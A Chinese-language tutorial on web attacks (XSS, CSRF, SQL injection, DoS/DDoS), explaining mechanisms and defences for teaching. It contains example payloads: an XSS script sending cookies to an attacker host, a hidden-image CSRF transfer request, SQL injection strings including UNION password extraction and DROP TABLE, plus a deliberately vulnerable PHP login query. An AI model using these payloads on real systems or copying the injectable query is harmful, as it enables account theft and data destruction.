Web 安全领域中,XSS、CSRF、SQL 注入、DoS 和 DDoS 是最常见且危害极大的攻击手段,其核心目标分别是劫持用户浏览器、伪造用户操作、入侵数据库、耗尽目标资源。以下从攻击原理、常见场景、预防措施三个维度逐一解析,并在最后总结防御思路。
一、XSS(Cross-Site Scripting,跨站脚本攻击)
XSS 攻击的本质是将恶意 JavaScript 脚本注入到目标网站的页面中,当用户访问该页面时,脚本在用户浏览器中执行,从而窃取 cookie、劫持会话、伪造操作或传播恶意代码。
1. 攻击原理与类型
根据脚本的注入和执行方式,XSS 分为三类:
- 存储型 XSS(持久型) :恶意脚本被存储到目标网站的数据库 / 文件中 (如评论、私信、用户资料),所有访问该内容的用户都会触发脚本执行。例:攻击者在论坛评论区输入
<script>document.location.href='https://attacker.com/steal?cookie='+document.cookie</script>
,若网站未过滤,脚本会存入数据库,其他用户查看评论时,浏览器会执行脚本,将自己的 cookie 发送给攻击者。 - 反射型 XSS(非持久型) :恶意脚本通过URL 参数、表单提交 等方式传入目标网站,网站直接将参数 "反射" 到页面输出,仅在当前请求中执行。例:目标网站有搜索功能,后台代码为
echo "搜索结果:" . $_GET['keyword'];
,攻击者构造 URL:https://target.com/search?keyword=<script>alert('XSS')</script>
,用户点击该链接后,脚本被反射到页面并执行。 - DOM 型 XSS :恶意脚本通过操作页面 DOM 结构 触发,无需服务器参与,完全在客户端执行。例:页面代码为
document.getElementById('content').innerHTML = location.hash.slice(1);
(将 URL 锚点部分插入页面),攻击者构造 URL:https://target.com/#<script>stealCookie()</script>
,用户访问后,浏览器解析锚点并执行脚本。
2. 预防措施
XSS 的核心防御思路是 "让浏览器无法将用户输入解析为脚本",具体措施包括:
- 输入过滤(白名单优先) :对用户输入的内容进行严格验证,仅允许指定字符(如字母、数字、常见标点),拒绝
<script>
、eval
、onclick
等危险标签 / 属性。例:使用正则表达式过滤<[^>]*>
标签,或借助成熟库(如 PHP 的htmlspecialchars
、Python 的bleach
)。 - 输出编码 :将用户输入的内容输出到页面时,对特殊字符进行转义(如
<
转义为<
,>
转义为>
),确保浏览器将其解析为纯文本而非 HTML/JS。例:在 JSP 中使用<%= org.apache.commons.lang3.StringEscapeUtils.escapeHtml4(userInput) %>
。 - 启用 CSP(Content-Security-Policy) :通过 HTTP 响应头配置 CSP,限制页面可加载的脚本、样式、图片等资源来源,禁止 inline 脚本(
<script>...</script>
)和eval()
等危险函数。例:Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self'; img-src *
(仅允许加载自身域名和指定 CDN 的脚本)。 - 使用 HttpOnly 和 Secure Cookie :为敏感 Cookie(如会话 ID)设置
HttpOnly
属性,禁止 JS 通过document.cookie
读取;设置Secure
属性,仅允许 HTTPS 传输,防止 Cookie 被窃取。
二、CSRF(Cross-Site Request Forgery,跨站请求伪造)
CSRF 攻击的本质是利用用户的 "已登录状态",伪造用户的合法请求,让目标服务器误以为是用户主动操作,从而执行恶意行为(如转账、修改密码、发布内容)。
1. 攻击原理与场景
CSRF 依赖两个前提:
- 用户已登录目标网站(会话 Cookie 有效);
- 用户访问了攻击者控制的第三方网站(或点击恶意链接)。
典型场景:
- 用户登录银行网站(
bank.com
),浏览器保存会话 Cookie; - 用户未退出银行,访问攻击者的恶意网站(
evil.com
); - 恶意网站中隐藏一个自动触发的请求:
<img src="https://bank.com/transfer?to=attacker&amount=10000" style="display:none">
- 浏览器加载
<img>
时,会自动向bank.com
发送请求,并带上银行的会话 Cookie; - 银行服务器验证 Cookie 有效,认为是用户主动发起的转账请求,执行转账操作。
2. 预防措施
CSRF 的核心防御思路是 "让服务器能区分请求是否由用户主动发起",具体措施包括:
-
使用 CSRF Token(令牌) :
- 服务器在用户登录后,生成一个随机且唯一的
CSRF Token
,存入用户会话,并通过页面表单 / JS 返回给客户端; - 客户端发起敏感请求(如转账、修改密码)时,必须在请求参数 / 头中携带该 Token;
- 服务器接收请求后,验证 Token 是否与会话中存储的一致,不一致则拒绝请求。例:表单中添加
<input type="hidden" name="csrf_token" value="随机字符串">
。
- 服务器在用户登录后,生成一个随机且唯一的
-
设置 SameSite Cookie 属性 :为会话 Cookie 设置
SameSite
属性,限制 Cookie 仅在 "同站请求"(即请求域名与 Cookie 域名一致)时发送,跨站请求(如恶意网站发起的请求)不会携带 Cookie。取值:SameSite=Strict
(仅同站请求携带)、SameSite=Lax
(部分跨站请求如 GET 可携带,POST 不携带),现代浏览器默认支持。 -
验证 Referer/Origin 头 :服务器检查请求的
Referer
(请求来源页面 URL)或Origin
(请求来源域名),仅允许来自可信域名(如自身域名)的请求。注意:Referer
可能被浏览器隐藏(如 HTTPS→HTTP 跳转),需结合其他措施。 -
要求敏感操作二次验证:对于转账、修改密码等高危操作,强制要求用户输入验证码、密码或进行生物识别,即使 CSRF 请求被发送,也无法通过二次验证。
三、SQL 注入(SQL Injection)
SQL 注入攻击的本质是将恶意 SQL 语句注入到用户输入中,欺骗数据库执行非预期操作,从而窃取数据、修改数据、甚至获取服务器权限。
1. 攻击原理与场景
SQL 注入的根源是后台代码将用户输入直接拼接进 SQL 语句,未做隔离处理。
典型场景 1:登录绕过
后台登录验证代码(PHP):
php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysql_query($sql); // 直接执行拼接后的SQL
攻击者输入:
- 用户名:
admin' --
- 密码:任意字符
拼接后的 SQL 变为:SELECT * FROM users WHERE username='admin' --' AND password='xxx'``--
是 SQL 注释符,后面的内容被忽略,SQL 仅查询username='admin'
的用户,从而绕过密码验证登录。
典型场景 2:窃取数据
攻击者输入用户名:' UNION SELECT username, password FROM users --
,拼接后的 SQL 可能返回所有用户的账号密码。
典型场景 3:破坏数据
输入用户名:' ; DROP TABLE users; --
,若数据库用户权限足够,会执行DROP TABLE
删除表。
2. 预防措施
SQL 注入的核心防御思路是 "将用户输入与 SQL 命令隔离,禁止输入被当作 SQL 代码执行",具体措施包括:
- 使用参数化查询(预编译语句) :先定义 SQL 模板(用占位符
?
或:name
表示用户输入),再将用户输入作为 "参数" 传入,数据库会自动将参数视为纯文本,不解析为 SQL 代码。例(Java + JDBC):
java
String sql = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username); // 传入用户名参数
pstmt.setString(2, password); // 传入密码参数
ResultSet rs = pstmt.executeQuery();
所有主流编程语言(PHP、Python、C#)和 ORM 框架(MyBatis、Hibernate、Django ORM)均支持参数化查询,禁止手动拼接 SQL
-
最小权限原则:为数据库访问账号分配最小必要权限,例如:
- 前端应用的数据库账号仅授予
SELECT
、INSERT
、UPDATE
权限,禁止DROP
、ALTER
、TRUNCATE
等高危权限; - 不同功能模块使用不同账号(如评论模块账号仅能操作
comments
表)。
- 前端应用的数据库账号仅授予
-
输入验证与过滤:对用户输入的格式、长度、类型进行严格验证,例如:
- 用户名仅允许字母、数字、下划线,长度限制为 3-20 位;
- 手机号必须符合 11 位数字格式;过滤
'
、;
、UNION
、DROP
等 SQL 关键字(辅助措施,不能替代参数化查询)。
-
避免直接暴露 SQL 错误信息:生产环境中禁用数据库错误信息直接返回给客户端(如 "SQL 语法错误 near 'admin'"),防止攻击者通过错误信息推测 SQL 结构。
四、DoS(Denial of Service,拒绝服务攻击)与 DDoS(Distributed DoS,分布式拒绝服务攻击)
DoS/DDoS 的本质是通过发送大量无效请求或耗尽目标资源(带宽、CPU、内存、连接数),导致目标服务器无法响应正常用户的请求。两者的区别在于攻击源:DoS 是单个攻击源,DDoS 是多个分布式攻击源(如 "肉鸡" 集群)。
1. 攻击原理与类型
(1)DoS 攻击(单源)
- TCP SYN Flood:攻击者向服务器发送大量 TCP 连接请求(SYN 包),但不回复服务器的 SYN-ACK 包,导致服务器维持大量 "半连接" 状态,耗尽连接池资源。
- UDP Flood:攻击者向服务器发送大量 UDP 数据包,服务器需消耗 CPU 资源处理这些无效包,同时占用带宽。
- 应用层 DoS:针对应用逻辑缺陷发起攻击,例如向需要复杂计算的接口(如验证码识别、大数据查询)发送大量请求,耗尽 CPU 资源。
(2)DDoS 攻击(分布式)
攻击者控制大量 "肉鸡"(被感染的电脑、服务器、IoT 设备),同时向目标发起 DoS 攻击,攻击流量规模可达数百 Gbps,远超单源 DoS 的破坏力。常见类型:
- 网络层 DDoS:SYN Flood、UDP Flood、ICMP Flood(ping 洪水);
- 应用层 DDoS:HTTP Flood(模拟正常用户发送大量 GET/POST 请求)、CC 攻击(针对动态页面的持续请求)。
2. 预防措施
DoS/DDoS 防御需从网络层、传输层、应用层构建多层防护体系,核心思路是 "识别恶意流量并过滤,保障正常流量通行":
-
网络层防护:
- 使用高防 IP/CDN:将目标服务器的 IP 隐藏在高防 IP 或 CDN 后面,由高防节点先清洗攻击流量,仅将正常流量转发给源服务器;
- 路由器 / 防火墙过滤:配置 ACL(访问控制列表),禁止来自可疑 IP 段的流量,限制单 IP 的连接数和带宽。
-
传输层防护:
- 防御 SYN Flood:启用服务器的
SYN Cookie
机制,不维护半连接状态,而是通过 Cookie 验证连接合法性; - 限制 TCP 连接数:设置服务器的最大 TCP 连接数、半连接超时时间,避免连接池耗尽。
- 防御 SYN Flood:启用服务器的
-
应用层防护:
- 部署 WAF(Web 应用防火墙):识别应用层 DDoS(如 HTTP Flood),通过 "请求频率限制(Rate Limiting)"、"人机验证(如验证码、滑动验证)" 过滤恶意请求;
- 优化应用性能:使用缓存(Redis、CDN)减轻动态页面的计算压力,避免单点故障(如使用负载均衡将流量分发到多台服务器);
- 关闭不必要的服务:禁用服务器上未使用的端口(如 UDP 137、138)、服务(如 Telnet、FTP),减少攻击面。
-
监控与应急响应:
- 实时监控带宽、CPU、内存、连接数等指标,设置阈值告警(如带宽突增 10 倍);
- 与 IDC / 云服务商合作,一旦发生大流量 DDoS,可临时启用 "黑洞路由"(将攻击流量导入黑洞),避免整个网络瘫痪。